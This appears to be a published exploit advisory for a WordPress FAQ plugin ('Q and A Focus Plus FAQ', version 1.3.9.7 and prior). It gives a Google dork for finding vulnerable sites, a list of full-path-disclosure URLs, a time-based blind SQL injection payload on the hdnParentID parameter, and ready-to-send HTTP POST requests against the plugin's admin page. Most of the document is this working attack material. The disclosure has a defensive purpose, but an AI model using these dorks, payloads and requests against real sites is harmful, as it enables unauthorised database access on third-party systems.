70 lines
No EOL
2.9 KiB
Text
70 lines
No EOL
2.9 KiB
Text
# Exploit Title: WordPress Q and A (Focus Plus) FAQ Full Path Disclosure and SQL Injection
|
|
# Google Dork: inurl:"wp-content/plugins/q-and-a"
|
|
# Date: 12-05-2016
|
|
# Software Link: https://wordpress.org/plugins/q-and-a-focus-plus-faq/
|
|
# Version: 1.3.9.7 and prior
|
|
# Exploit Author: Gwendal Le Coguic
|
|
# Website: http://10degres.net
|
|
# Category: webapps
|
|
|
|
|
|
Create a powerful and easy to use FAQ & knowledge base on your WordPress site.
|
|
A powerful and easy to use full-featured FAQ with comments, tags and ratings for your WordPress site.
|
|
|
|
The plugin was originally named "Q and A FAQ" and developped by Raygun company
|
|
then it has been involved and renamed to "Q and A Focus Plus FAQ" by Lanexatek Creations.
|
|
|
|
|
|
##### Full Path Disclosure #####
|
|
|
|
http://[target]/wp-content/plugins/q-and-a-focus-plus-faq/q-and-a-focus-plus.php
|
|
http://[target]/wp-content/plugins/q-and-a-focus-plus-faq/admin/q-a-focus-plus-admin.php
|
|
http://[target]/wp-content/plugins/q-and-a-focus-plus-faq/admin/documentation.php
|
|
http://[target]/wp-content/plugins/q-and-a-focus-plus-faq/inc/custom-post.php
|
|
http://[target]/wp-content/plugins/q-and-a-focus-plus-faq/inc/functions.php
|
|
http://[target]/wp-content/plugins/q-and-a-focus-plus-faq/inc/ratings.php
|
|
http://[target]/wp-content/plugins/q-and-a-focus-plus-faq/inc/reorder.php
|
|
http://[target]/wp-content/plugins/q-and-a-focus-plus-faq/inc/shortcodes.php
|
|
http://[target]/wp-content/plugins/q-and-a-focus-plus-faq/inc/upgrader.php
|
|
http://[target]/wp-content/plugins/q-and-a-focus-plus-faq/inc/widgets.php
|
|
|
|
|
|
##### SQL Injection #####
|
|
|
|
Those vulnerabilities are mitigated by the fact that you have to be connected as an admin to exploit them.
|
|
|
|
Paramater hdnParentID is vulnerable in two places.
|
|
Payload: 0 AND (SELECT * FROM (SELECT(SLEEP(5)))zeCb)
|
|
|
|
1/ line 46: $parentsParent = $wpdb->get_row("SELECT post_parent FROM $wpdb->posts WHERE ID = " . $_POST['hdnParentID']...
|
|
|
|
POST /wp-admin/edit.php?post_type=qa_faqs&page=faqpageorder HTTP/1.1
|
|
Host: [target]
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Connection: keep-alive
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 165
|
|
|
|
btnOrderPages=Click+to+Reorder+FAQs&hdnfaqpageorder=id_8%2Cid_6%2Cid_5&btnReturnParent=Return+to+parent+page&hdnParentID=0
|
|
|
|
|
|
2/ line 254: $wpdb->get_results("SELECT * FROM $wpdb->posts WHERE post_parent = $parentID and ...
|
|
|
|
POST /wp-admin/edit.php?post_type=qa_faqs&page=faqpageorder HTTP/1.1
|
|
Host: [target]
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Connection: keep-alive
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 84
|
|
|
|
btnOrderPages=Click+to+Reorder+FAQs&hdnfaqpageorder=id_8%2Cid_6%2Cid_5&hdnParentID=0
|
|
|
|
|
|
##### References #####
|
|
|
|
https://www.owasp.org/index.php/Full_Path_Disclosure
|
|
https://www.owasp.org/index.php/SQL_Injection |